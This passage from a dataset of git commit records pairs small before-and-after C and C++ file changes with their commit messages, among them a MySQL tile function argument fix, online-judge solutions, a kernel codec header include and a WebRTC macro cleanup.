argc);\n\n\tprintf(\"\\n\");\n\n\tprintf(\"%s\\n\", \"--These are the argument characters--\");\n\tint i;\n\tfor (i = 0; i < argc; i++) {\n\t\tprintf(\"%i\", i);\n\t\tprintf(\"%s\", \" | \");\n\t\tprintf(\"%s\\n\", argv[i]);\n\t}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ - Print all Environment Variables\n\tprintEnVars();\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ - Finished\n\tprintf(\"\\n\");\n\tprintf(\"%s\\n\", \"Exited Program\");\n\n\treturn 0;\n}\n","subject":"Add environment vars and commandline arguments","message":"Add environment vars and commandline arguments\n","lang":"C","license":"mit","repos":"jmstacey\/thsh"}
{"commit":"b1a0e5ae8b3e3d1052cc7c3e3ec12750060cb173","old_file":"db\/functions\/quadtile.c","new_file":"db\/functions\/quadtile.c","old_contents":"#include <my_global.h>\n#include <my_sys.h>\n#include <m_string.h>\n#include <mysql.h>\n#include <quad_tile.h>\n\nmy_bool tile_for_point_init(UDF_INIT *initid, UDF_ARGS *args, char *message)\n{\n   if ( args->arg_count != 2 ||\n        args->arg_type[0] != INT_RESULT ||\n        args->arg_type[1] != INT_RESULT )\n   {\n      strcpy( message, \"Your tile_for_point arguments are bogus!\" );\n      return 1;\n   }\n\n   return 0;\n}\n\nvoid tile_for_point_deinit(UDF_INIT *initid)\n{\n   return;\n}\n\nlong long tile_for_point(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)\n{\n   long long lon = *(long long *)args->args[0];\n   long long lat = *(long long *)args->args[1];\n\n   return xy2tile(lon2x(lon \/ 1000000.0), lat2y(lat \/ 1000000.0));\n}\n","new_contents":"#include <my_global.h>\n#include <my_sys.h>\n#include <m_string.h>\n#include <mysql.h>\n#include <quad_tile.h>\n\nmy_bool tile_for_point_init(UDF_INIT *initid, UDF_ARGS *args, char *message)\n{\n   if ( args->arg_count != 2 ||\n        args->arg_type[0] != INT_RESULT ||\n        args->arg_type[1] != INT_RESULT )\n   {\n      strcpy( message, \"Your tile_for_point arguments are bogus!\" );\n      return 1;\n   }\n\n   return 0;\n}\n\nvoid tile_for_point_deinit(UDF_INIT *initid)\n{\n   return;\n}\n\nlong long tile_for_point(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)\n{\n   long long lat = *(long long *)args->args[0];\n   long long lon = *(long long *)args->args[1];\n\n   return xy2tile(lon2x(lon \/ 1000000.0), lat2y(lat \/ 1000000.0));\n}\n","subject":"Make the MySQL tile_for_point function take arguments in the same order as the ruby version.","message":"Make the MySQL tile_for_point function take arguments in the same order\nas the ruby version.\n\n\n","lang":"C","license":"agpl-3.0","repos":"tillmo\/do-roam,tillmo\/do-roam,tillmo\/do-roam,tillmo\/do-roam,tillmo\/do-roam,tillmo\/do-roam"}
{"commit":"c33abbf19bc02e90c1b020534e3ccbb2ed4754a5","old_file":"native\/helper.h","new_file":"native\/helper.h","old_contents":"#ifndef HELPER_H\n#define HELPER_H \n\n#define STRINGIFY(x)\t#x\n#define TOSTRING(x)\tSTRINGIFY(x)\n\n#define AT()\t\t__FILE__ \":\" TOSTRING(__LINE__)\n\n#ifdef DO_DEBUG\n#include <iostream>\n#include <mutex>\nextern std::mutex log_mutex;\n#define DEBUG(x) do { std::lock_guard<std::mutex> guard(log_mutex); std::cerr << \"[libnice] \" << x << \" (@\" << AT() << \")\" << std::endl; } while (0)\n#else\n#define DEBUG(x)\n#endif\n\nstatic inline std::string trim(const std::string& str, const std::string& target=\" \\r\\n\\t\") {\n\tconst size_t first = str.find_first_not_of(target);\n\n\tif(first == std::string::npos) {\n\t\treturn std::string();\n\t} else {\n\t\tconst size_t last = str.find_last_not_of(target);\n\t\treturn str.substr(first, last - first + 1);\n\t}\n}\n\n#endif \/* HELPER_H *\/\n","new_contents":"#ifndef HELPER_H\n#define HELPER_H \n\n#include <string>\n\n#define STRINGIFY(x)\t#x\n#define TOSTRING(x)\tSTRINGIFY(x)\n\n#define AT()\t\t__FILE__ \":\" TOSTRING(__LINE__)\n\n#ifdef DO_DEBUG\n#include <iostream>\n#include <mutex>\nextern std::mutex log_mutex;\n#define DEBUG(x) do { std::lock_guard<std::mutex> guard(log_mutex); std::cerr << \"[libnice] \" << x << \" (@\" << AT() << \")\" << std::endl; } while (0)\n#else\n#define DEBUG(x)\n#endif\n\nstatic inline std::string trim(const std::string& str, const std::string& target=\" \\r\\n\\t\") {\n\tconst size_t first = str.find_first_not_of(target);\n\n\tif(first == std::string::npos) {\n\t\treturn std::string();\n\t} else {\n\t\tconst size_t last = str.find_last_not_of(target);\n\t\treturn str.substr(first, last - first + 1);\n\t}\n}\n\n#endif \/* HELPER_H *\/\n","subject":"Add missing header in case of no debug output","message":"Add missing header in case of no debug output\n","lang":"C","license":"agpl-3.0","repos":"felixSchl\/node-libnice,felixSchl\/node-libnice,Innovailable\/node-libnice,Innovailable\/node-libnice,Innovailable\/node-libnice,felixSchl\/node-libnice"}
{"commit":"564fdcbc609fbc48435a061513fa8400e475fa2b","old_file":"hw3-gen-andes-code\/test1.c","new_file":"hw3-gen-andes-code\/test1.c","old_contents":"int main(){\n    int a;\n    int b = 1;\n    int c = 2;\n    int d = 3;\n    a = 10\/2;\n    c = (b+3)*4-5;\n    \/\/printf(“a is %d\\n\",a);\n    return 0\n}\n","new_contents":"int main(){\n    int a;\n    int b = 1;\n    int c = 2;\n    int d = 3;\n    a = 10\/2;\n    c = (b+3)*4-5;\n    \/\/printf(“a is %d\\n\",a);\n    return 0;\n}\n","subject":"Fix typo in test case","message":"Fix typo in test case\n","lang":"C","license":"mit","repos":"hydai\/Compiler-Design"}
{"commit":"644a657309ef6447acdcd9e8102ee68efdb51324","old_file":"solutions\/uri\/1009\/1009.c","new_file":"solutions\/uri\/1009\/1009.c","old_contents":"","new_contents":"#include <math.h>\n#include <stdio.h>\n\nint main() {\n    char a[300];\n    float b, c;\n\n    scanf(\"%s\", a);\n    scanf(\"%f\", &b);\n    scanf(\"%f\", &c);\n\n    printf(\"TOTAL = R$ %.2f\\n\", b + round((c * 0.15) * 100) \/ 100);\n\n    return 0;\n}\n","subject":"Solve Salary with Bonus in c","message":"Solve Salary with Bonus in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"008db442efa542357314593c71ab9966be909855","old_file":"sound\/soc\/codecs\/wm8350.h","new_file":"sound\/soc\/codecs\/wm8350.h","old_contents":"\/*\n * wm8350.h - WM8903 audio codec interface\n *\n * Copyright 2008 Wolfson Microelectronics PLC.\n *\n *  This program is free software; you can redistribute  it and\/or modify it\n *  under  the terms of  the GNU General  Public License as published by the\n *  Free Software Foundation;  either version 2 of the  License, or (at your\n *  option) any later version.\n *\/\n\n#ifndef _WM8350_H\n#define _WM8350_H\n\n#include <sound\/soc.h>\n\nextern struct snd_soc_dai wm8350_dai;\nextern struct snd_soc_codec_device soc_codec_dev_wm8350;\n\nenum wm8350_jack {\n\tWM8350_JDL = 1,\n\tWM8350_JDR = 2,\n};\n\nint wm8350_hp_jack_detect(struct snd_soc_codec *codec, enum wm8350_jack which,\n\t\t\t  struct snd_soc_jack *jack, int report);\n\n#endif\n","new_contents":"\/*\n * wm8350.h - WM8903 audio codec interface\n *\n * Copyright 2008 Wolfson Microelectronics PLC.\n *\n *  This program is free software; you can redistribute  it and\/or modify it\n *  under  the terms of  the GNU General  Public License as published by the\n *  Free Software Foundation;  either version 2 of the  License, or (at your\n *  option) any later version.\n *\/\n\n#ifndef _WM8350_H\n#define _WM8350_H\n\n#include <sound\/soc.h>\n#include <linux\/mfd\/wm8350\/audio.h>\n\nextern struct snd_soc_dai wm8350_dai;\nextern struct snd_soc_codec_device soc_codec_dev_wm8350;\n\nenum wm8350_jack {\n\tWM8350_JDL = 1,\n\tWM8350_JDR = 2,\n};\n\nint wm8350_hp_jack_detect(struct snd_soc_codec *codec, enum wm8350_jack which,\n\t\t\t  struct snd_soc_jack *jack, int report);\n\n#endif\n","subject":"Include WM8350 register definitions in CODEC header","message":"ASoC: Include WM8350 register definitions in CODEC header\n\nIt's expected behaviour for the CODEC header to provide them but the\nWM8350 doesn't due to having all the registers together under drivers\/mfd.\n\nSigned-off-by: Mark Brown <b51b9a92386687a9ac927cebfa0f978adeb8cea5@opensource.wolfsonmicro.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"2a0d6effa5b00ef6b44a70a9511dcf39db998a6d","old_file":"solutions\/uri\/1013\/1013.c","new_file":"solutions\/uri\/1013\/1013.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n    int a, b, c, m;\n\n    while (scanf(\"%d %d %d\", &a, &b, &c) != EOF) {\n        m = (a + b + abs(a - b)) \/ 2;\n        m = (m + c + abs(m - c)) \/ 2;\n\n        printf(\"%d eh o maior\\n\", m);\n    }\n}\n","subject":"Solve The Greatest in c","message":"Solve The Greatest in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"a90e572e67f094d59faad390e41d9f8791900f89","old_file":"redditAPI\/RAPRedditLinks.h","new_file":"redditAPI\/RAPRedditLinks.h","old_contents":"\/\/\n\/\/  RAPRedditLinks.h\n\/\/  redditAPI\n\/\/\n\/\/  Created by Woudini on 2\/3\/15.\n\/\/  Copyright (c) 2015 Hi Range. All rights reserved.\n\/\/\n\n#ifndef redditAPI_RAPRedditLinks_h\n#define redditAPI_RAPRedditLinks_h\n\n#define RAPRedditLimit_10_typePrefix_Link_ @\"?limit=10?&after=t3_%@\"\n#define RAPSubredditNew @\"r\/%@\/new.json?limit=10\"\n#define RAPSubredditHot @\"r\/%@\/hot.json?limit=10\"\n\n#define RAPThreadComments @\"r\/%@\/.json\"\n\n\n\n#endif\n","new_contents":"\/\/\n\/\/  RAPRedditLinks.h\n\/\/  redditAPI\n\/\/\n\/\/  Created by Woudini on 2\/3\/15.\n\/\/  Copyright (c) 2015 Hi Range. All rights reserved.\n\/\/\n\n#ifndef redditAPI_RAPRedditLinks_h\n#define redditAPI_RAPRedditLinks_h\n\n#define RAPRedditLimit_10_typePrefix_Link_ @\".json?limit=10?&after=t3_%@\"\n#define RAPSubredditNew @\"r\/%@\/new.json?limit=10\"\n#define RAPSubredditHot @\"r\/%@\/hot.json?limit=10\"\n\n#define RAPThreadComments @\"r\/%@\/.json\"\n\n\n\n#endif\n","subject":"Fix json additional fetch in frontpage","message":"Fix json additional fetch in frontpage\n","lang":"C","license":"mit","repos":"woudini\/lzytltbrwsr"}
{"commit":"ef27bd42a368bb3c3886e07a79f751ab41f7ff92","old_file":"SettingsUI\/Hotkeys.h","new_file":"SettingsUI\/Hotkeys.h","old_contents":"#pragma once\n#include \"afxwin.h\"\n#include \"afxcmn.h\"\n\nclass Hotkeys : public CPropertyPage {\n\tDECLARE_DYNAMIC(Hotkeys)\n\npublic:\n\tHotkeys();\n\tvirtual ~Hotkeys();\n\n\/\/ Dialog Data\n\tenum { IDD = IDD_HOTKEYS };\n\nprotected:\n\tvirtual void DoDataExchange(CDataExchange* pDX);    \/\/ DDX\/DDV support\n    virtual BOOL OnInitDialog();\n\tDECLARE_MESSAGE_MAP()\n\nprivate:\n    void SelectItem(int idx);\n\nprivate:\n    CComboBox _action;\n    CButton _keys;\n    CListCtrl _list;\n    afx_msg void OnBnClickedAdd();\n    afx_msg void OnBnClickedRemove();\n    afx_msg void OnLvnItemchangedKeys(NMHDR *pNMHDR, LRESULT *pResult);\n    afx_msg void OnBnClickedKeys();\n};\n","new_contents":"#pragma once\n#include \"afxwin.h\"\n#include \"afxcmn.h\"\n\n#include <vector>\n\n#include \"HotkeyInfo.h\"\n\nclass Hotkeys : public CPropertyPage {\n\tDECLARE_DYNAMIC(Hotkeys)\n\npublic:\n\tHotkeys();\n\tvirtual ~Hotkeys();\n\n\tenum { IDD = IDD_HOTKEYS };\n\nprotected:\n\tvirtual void DoDataExchange(CDataExchange* pDX);\n    virtual BOOL OnInitDialog();\n\tDECLARE_MESSAGE_MAP()\n\nprivate:\n    std::vector<HotkeyInfo> _keyInfo;\n    void SelectItem(int idx);\n\nprivate:\n    CComboBox _action;\n    CButton _keys;\n    CListCtrl _list;\n    afx_msg void OnBnClickedAdd();\n    afx_msg void OnBnClickedRemove();\n    afx_msg void OnLvnItemchangedKeys(NMHDR *pNMHDR, LRESULT *pResult);\n    afx_msg void OnBnClickedKeys();\n};\n","subject":"Add list to contain hotkey info","message":"Add list to contain hotkey info\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX"}
{"commit":"756427b538e86c133ea8d9a39a01b6635da19139","old_file":"src\/serialize\/json\/keys.h","new_file":"src\/serialize\/json\/keys.h","old_contents":"","new_contents":"\/*\n * waysome - wayland based window manager\n *\n * Copyright in alphabetical order:\n *\n * Copyright (C) 2014-2015 Julian Ganz\n * Copyright (C) 2014-2015 Manuel Messner\n * Copyright (C) 2014-2015 Marcel Müller\n * Copyright (C) 2014-2015 Matthias Beyer\n * Copyright (C) 2014-2015 Nadja Sommerfeld\n *\n * This file is part of waysome.\n *\n * waysome is free software: you can redistribute it and\/or modify it under the\n * terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 2.1 of the License, or (at your option)\n * any later version.\n *\n * waysome is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n * A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with waysome. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/**\n * @addtogroup serializer_module \"Serializer module\"\n *\n * @{\n *\/\n\n\/**\n * @addtogroup serializer_module_json_backend \"Serializer JSON backend\"\n *\n * @{\n *\/\n\n\/**\n * @addtogroup serializer_module_json_backend_common \"JSON backend utils\"\n *\n * Serializer module JSON backend private utilities\n *\n * @{\n *\/\n\n\/**\n * @file keys.h\n *\n * This file contains JSON object key definitions. Each define here is one key\n * in the JSON object the deserializer wants to parse.\n *\/\n\n#ifndef __WS_SERIALIZE_JSON_KEYS_H__\n#define __WS_SERIALIZE_JSON_KEYS_H__\n\n#define COMMANDS    \"CMDS\"\n#define UID         \"UID\"\n#define TYPE        \"TYPE\"\n\n#define TYPE_TRANSACTION \"transaction\"\n\n#endif \/\/__WS_SERIALIZE_JSON_KEYS_H__\n\n\/**\n * @}\n *\/\n\n\/**\n * @}\n *\/\n\n\/**\n * @}\n *\/\n","subject":"Add transaction main key definitions","message":"Add transaction main key definitions\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/waysome,waysome\/waysome"}
{"commit":"cc628b8c1b2227cad240ed1c12d10636e91145cc","old_file":"sdk\/objc\/base\/RTCMacros.h","new_file":"sdk\/objc\/base\/RTCMacros.h","old_contents":"\/*\n *  Copyright 2016 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef SDK_OBJC_BASE_RTCMACROS_H_\n#define SDK_OBJC_BASE_RTCMACROS_H_\n\n#define RTC_OBJC_EXPORT __attribute__((visibility(\"default\")))\n\/\/ TODO(mbonadei): Remove RTC_EXPORT in order to be able to land\n\/\/ https:\/\/webrtc-review.googlesource.com\/c\/src\/+\/97960.\n#define RTC_EXPORT RTC_OBJC_EXPORT\n\n#if defined(__cplusplus)\n#define RTC_EXTERN extern \"C\" RTC_OBJC_EXPORT\n#else\n#define RTC_EXTERN extern RTC_OBJC_EXPORT\n#endif\n\n#ifdef __OBJC__\n#define RTC_FWD_DECL_OBJC_CLASS(classname) @class classname\n#else\n#define RTC_FWD_DECL_OBJC_CLASS(classname) typedef struct objc_object classname\n#endif\n\n#endif  \/\/ SDK_OBJC_BASE_RTCMACROS_H_\n","new_contents":"\/*\n *  Copyright 2016 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef SDK_OBJC_BASE_RTCMACROS_H_\n#define SDK_OBJC_BASE_RTCMACROS_H_\n\n#define RTC_OBJC_EXPORT __attribute__((visibility(\"default\")))\n\n#if defined(__cplusplus)\n#define RTC_EXTERN extern \"C\" RTC_OBJC_EXPORT\n#else\n#define RTC_EXTERN extern RTC_OBJC_EXPORT\n#endif\n\n#ifdef __OBJC__\n#define RTC_FWD_DECL_OBJC_CLASS(classname) @class classname\n#else\n#define RTC_FWD_DECL_OBJC_CLASS(classname) typedef struct objc_object classname\n#endif\n\n#endif  \/\/ SDK_OBJC_BASE_RTCMACROS_H_\n","subject":"Remove backwards compatible macro RTC_EXPORT from sdk\/.","message":"Remove backwards compatible macro RTC_EXPORT from sdk\/.\n\nSymbols under sdk\/ are now exported using RTC_OBJC_EXPORT, while\nRTC_EXPORT is used for C++ symbols.\n\nBug: webrtc:9419\nChange-Id: Icdf7ee0e7b3faf4d7fec33e9b33a3b13260f45b7\nReviewed-on: https:\/\/webrtc-review.googlesource.com\/102461\nReviewed-by: Peter Hanspers <d02e325c30aa6f5b5d3f28abcc70f6d579033e9e@webrtc.org>\nCommit-Queue: Mirko Bonadei <d2c43c210eae6feef04f53bae50885e8152edcca@webrtc.org>\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#24886}","lang":"C","license":"bsd-3-clause","repos":"TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc"}
{"commit":"5f400303acd4dd821005cc04f0ae873475cd2133","old_file":"native\/v8_extensions\/git.h","new_file":"native\/v8_extensions\/git.h","old_contents":"#include \"include\/cef_base.h\"\n#include \"include\/cef_v8.h\"\n\nnamespace v8_extensions {\n\nclass Git : public CefV8Handler {\npublic:\n  Git();\n\n  virtual bool Execute(const CefString& name,\n                       CefRefPtr<CefV8Value> object,\n                       const CefV8ValueList& arguments,\n                       CefRefPtr<CefV8Value>& retval,\n                       CefString& exception) OVERRIDE;\n\n  \/\/ Provide the reference counting implementation for this class.\n  IMPLEMENT_REFCOUNTING(Native);\n};\n\n}\n","new_contents":"#include \"include\/cef_base.h\"\n#include \"include\/cef_v8.h\"\n\nnamespace v8_extensions {\n\nclass Git : public CefV8Handler {\npublic:\n  Git();\n\n  virtual bool Execute(const CefString& name,\n                       CefRefPtr<CefV8Value> object,\n                       const CefV8ValueList& arguments,\n                       CefRefPtr<CefV8Value>& retval,\n                       CefString& exception) OVERRIDE;\n\n  \/\/ Provide the reference counting implementation for this class.\n  IMPLEMENT_REFCOUNTING(Git);\n};\n\n}\n","subject":"Add ref counting to Git class","message":"Add ref counting to Git class\n","lang":"C","license":"mit","repos":"jtrose2\/atom,dijs\/atom,russlescai\/atom,seedtigo\/atom,nrodriguez13\/atom,DiogoXRP\/atom,hharchani\/atom,devmario\/atom,davideg\/atom,liuderchi\/atom,johnrizzo1\/atom,h0dgep0dge\/atom,hagb4rd\/atom,codex8\/atom,kdheepak89\/atom,RobinTec\/atom,Hasimir\/atom,niklabh\/atom,champagnez\/atom,prembasumatary\/atom,bradgearon\/atom,t9md\/atom,me-benni\/atom,Neron-X5\/atom,Ju2ender\/atom,KENJU\/atom,toqz\/atom,mostafaeweda\/atom,avdg\/atom,Hasimir\/atom,sebmck\/atom,scv119\/atom,bcoe\/atom,woss\/atom,kevinrenaers\/atom,tanin47\/atom,hharchani\/atom,execjosh\/atom,FIT-CSE2410-A-Bombs\/atom,hpham04\/atom,ali\/atom,cyzn\/atom,florianb\/atom,jtrose2\/atom,mdumrauf\/atom,yalexx\/atom,bcoe\/atom,ashneo76\/atom,russlescai\/atom,fredericksilva\/atom,amine7536\/atom,AlisaKiatkongkumthon\/atom,brumm\/atom,AdrianVovk\/substance-ide,erikhakansson\/atom,Hasimir\/atom,beni55\/atom,vjeux\/atom,john-kelly\/atom,Ingramz\/atom,GHackAnonymous\/atom,nvoron23\/atom,hellendag\/atom,lovesnow\/atom,efatsi\/atom,johnrizzo1\/atom,matthewclendening\/atom,toqz\/atom,Austen-G\/BlockBuilder,oggy\/atom,yangchenghu\/atom,rjattrill\/atom,bradgearon\/atom,Abdillah\/atom,Ju2ender\/atom,lovesnow\/atom,acontreras89\/atom,nvoron23\/atom,sillvan\/atom,vcarrera\/atom,bcoe\/atom,ilovezy\/atom,001szymon\/atom,sebmck\/atom,fscherwi\/atom,sekcheong\/atom,RobinTec\/atom,mertkahyaoglu\/atom,nucked\/atom,SlimeQ\/atom,constanzaurzua\/atom,ObviouslyGreen\/atom,abe33\/atom,AlbertoBarrago\/atom,fedorov\/atom,Arcanemagus\/atom,basarat\/atom,tjkr\/atom,mostafaeweda\/atom,Galactix\/atom,boomwaiza\/atom,vjeux\/atom,vinodpanicker\/atom,Jonekee\/atom,sillvan\/atom,sebmck\/atom,mostafaeweda\/atom,qskycolor\/atom,yomybaby\/atom,liuderchi\/atom,ardeshirj\/atom,liuxiong332\/atom,PKRoma\/atom,basarat\/atom,oggy\/atom,tjkr\/atom,boomwaiza\/atom,Andrey-Pavlov\/atom,Neron-X5\/atom,pkdevbox\/atom,deoxilix\/atom,Austen-G\/BlockBuilder,Abdillah\/atom,efatsi\/atom,acontreras89\/atom,bolinfest\/atom,efatsi\/atom,isghe\/atom,ralphtheninja\/atom,russlescai\/atom,qiujuer\/atom,ilovezy\/atom,constanzaurzua\/atom,NunoEdgarGub1\/atom,isghe\/atom,wiggzz\/atom,Abdillah\/atom,ezeoleaf\/atom,sekcheong\/atom,stuartquin\/atom,FoldingText\/atom,dannyflax\/atom,mnquintana\/atom,niklabh\/atom,devoncarew\/atom,yalexx\/atom,yamhon\/atom,jordanbtucker\/atom,mdumrauf\/atom,wiggzz\/atom,Shekharrajak\/atom,ilovezy\/atom,qskycolor\/atom,kittens\/atom,dkfiresky\/atom,targeter21\/atom,FoldingText\/atom,Rodjana\/atom,champagnez\/atom,Andrey-Pavlov\/atom,isghe\/atom,Rychard\/atom,abcP9110\/atom,Locke23rus\/atom,Ingramz\/atom,KENJU\/atom,gisenberg\/atom,deepfox\/atom,russlescai\/atom,qskycolor\/atom,alfredxing\/atom,ironbox360\/atom,bencolon\/atom,xream\/atom,elkingtonmcb\/atom,liuderchi\/atom,pkdevbox\/atom,0x73\/atom,devoncarew\/atom,cyzn\/atom,cyzn\/atom,alexandergmann\/atom,hharchani\/atom,Hasimir\/atom,pengshp\/atom,synaptek\/atom,amine7536\/atom,atom\/atom,deepfox\/atom,fedorov\/atom,kittens\/atom,folpindo\/atom,Jandersoft\/atom,BogusCurry\/atom,CraZySacX\/atom,kdheepak89\/atom,mostafaeweda\/atom,ilovezy\/atom,Jandersolutions\/atom,constanzaurzua\/atom,n-riesco\/atom,qiujuer\/atom,Andrey-Pavlov\/atom,devoncarew\/atom,me6iaton\/atom,vcarrera\/atom,chengky\/atom,yomybaby\/atom,vcarrera\/atom,jjz\/atom,bencolon\/atom,charleswhchan\/atom,ezeoleaf\/atom,rjattrill\/atom,me-benni\/atom,targeter21\/atom,0x73\/atom,KENJU\/atom,jacekkopecky\/atom,bryonwinger\/atom,hakatashi\/atom,vjeux\/atom,rsvip\/aTom,stinsonga\/atom,Jdesk\/atom,einarmagnus\/atom,medovob\/atom,CraZySacX\/atom,stinsonga\/atom,AlisaKiatkongkumthon\/atom,Abdillah\/atom,yamhon\/atom,tony612\/atom,Ju2ender\/atom,sxgao3001\/atom,stinsonga\/atom,woss\/atom,helber\/atom,hakatashi\/atom,rjattrill\/atom,t9md\/atom,medovob\/atom,hpham04\/atom,sxgao3001\/atom,woss\/atom,gisenberg\/atom,dijs\/atom,ppamorim\/atom,deoxilix\/atom,h0dgep0dge\/atom,mnquintana\/atom,einarmagnus\/atom,sillvan\/atom,Jandersolutions\/atom,Dennis1978\/atom,Sangaroonaom\/atom,nrodriguez13\/atom,Klozz\/atom,jjz\/atom,rlugojr\/atom,phord\/atom,basarat\/atom,FIT-CSE2410-A-Bombs\/atom,Neron-X5\/atom,abcP9110\/atom,Austen-G\/BlockBuilder,gontadu\/atom,woss\/atom,n-riesco\/atom,beni55\/atom,transcranial\/atom,kandros\/atom,RobinTec\/atom,phord\/atom,chengky\/atom,johnhaley81\/atom,devmario\/atom,einarmagnus\/atom,jtrose2\/atom,splodingsocks\/atom,Jandersolutions\/atom,matthewclendening\/atom,AlbertoBarrago\/atom,ali\/atom,codex8\/atom,decaffeinate-examples\/atom,svanharmelen\/atom,andrewleverette\/atom,decaffeinate-examples\/atom,burodepeper\/atom,dkfiresky\/atom,amine7536\/atom,ralphtheninja\/atom,h0dgep0dge\/atom,helber\/atom,Neron-X5\/atom,brettle\/atom,sotayamashita\/atom,Galactix\/atom,ppamorim\/atom,mrodalgaard\/atom,ezeoleaf\/atom,Jdesk\/atom,Jandersolutions\/atom,sxgao3001\/atom,darwin\/atom,originye\/atom,liuxiong332\/atom,chengky\/atom,scv119\/atom,jacekkopecky\/atom,ReddTea\/atom,champagnez\/atom,kdheepak89\/atom,Rychard\/atom,isghe\/atom,xream\/atom,MjAbuz\/atom,Neron-X5\/atom,Abdillah\/atom,florianb\/atom,bradgearon\/atom,gabrielPeart\/atom,rsvip\/aTom,gzzhanghao\/atom,johnrizzo1\/atom,kc8wxm\/atom,ReddTea\/atom,SlimeQ\/atom,burodepeper\/atom,jeremyramin\/atom,alfredxing\/atom,paulcbetts\/atom,codex8\/atom,paulcbetts\/atom,rsvip\/aTom,panuchart\/atom,GHackAnonymous\/atom,001szymon\/atom,boomwaiza\/atom,lisonma\/atom,medovob\/atom,codex8\/atom,decaffeinate-examples\/atom,pombredanne\/atom,florianb\/atom,abcP9110\/atom,einarmagnus\/atom,davideg\/atom,crazyquark\/atom,constanzaurzua\/atom,Jdesk\/atom,sotayamashita\/atom,AdrianVovk\/substance-ide,Jonekee\/atom,dsandstrom\/atom,brumm\/atom,ardeshirj\/atom,kittens\/atom,toqz\/atom,ykeisuke\/atom,dannyflax\/atom,Mokolea\/atom,AlexxNica\/atom,gzzhanghao\/atom,ivoadf\/atom,mostafaeweda\/atom,omarhuanca\/atom,palita01\/atom,lovesnow\/atom,execjosh\/atom,rookie125\/atom,BogusCurry\/atom,yamhon\/atom,bryonwinger\/atom,davideg\/atom,ali\/atom,YunchengLiao\/atom,mdumrauf\/atom,decaffeinate-examples\/atom,fredericksilva\/atom,devoncarew\/atom,MjAbuz\/atom,tanin47\/atom,bryonwinger\/atom,johnhaley81\/atom,splodingsocks\/atom,Jandersolutions\/atom,basarat\/atom,targeter21\/atom,deoxilix\/atom,GHackAnonymous\/atom,anuwat121\/atom,batjko\/atom,abcP9110\/atom,0x73\/atom,prembasumatary\/atom,helber\/atom,alexandergmann\/atom,bcoe\/atom,qiujuer\/atom,Locke23rus\/atom,KENJU\/atom,nvoron23\/atom,xream\/atom,prembasumatary\/atom,oggy\/atom,Rychard\/atom,PKRoma\/atom,G-Baby\/atom,ashneo76\/atom,kjav\/atom,atom\/atom,batjko\/atom,YunchengLiao\/atom,GHackAnonymous\/atom,acontreras89\/atom,hpham04\/atom,Sangaroonaom\/atom,splodingsocks\/atom,jacekkopecky\/atom,AlexxNica\/atom,tanin47\/atom,ykeisuke\/atom,jlord\/atom,deepfox\/atom,kjav\/atom,bj7\/atom,charleswhchan\/atom,devoncarew\/atom,Ingramz\/atom,hellendag\/atom,stuartquin\/atom,russlescai\/atom,jlord\/atom,gzzhanghao\/atom,harshdattani\/atom,jacekkopecky\/atom,mertkahyaoglu\/atom,anuwat121\/atom,Jandersoft\/atom,Huaraz2\/atom,yangchenghu\/atom,seedtigo\/atom,Arcanemagus\/atom,Arcanemagus\/atom,chfritz\/atom,abe33\/atom,MjAbuz\/atom,jlord\/atom,ReddTea\/atom,constanzaurzua\/atom,Jandersoft\/atom,rxkit\/atom,sekcheong\/atom,chengky\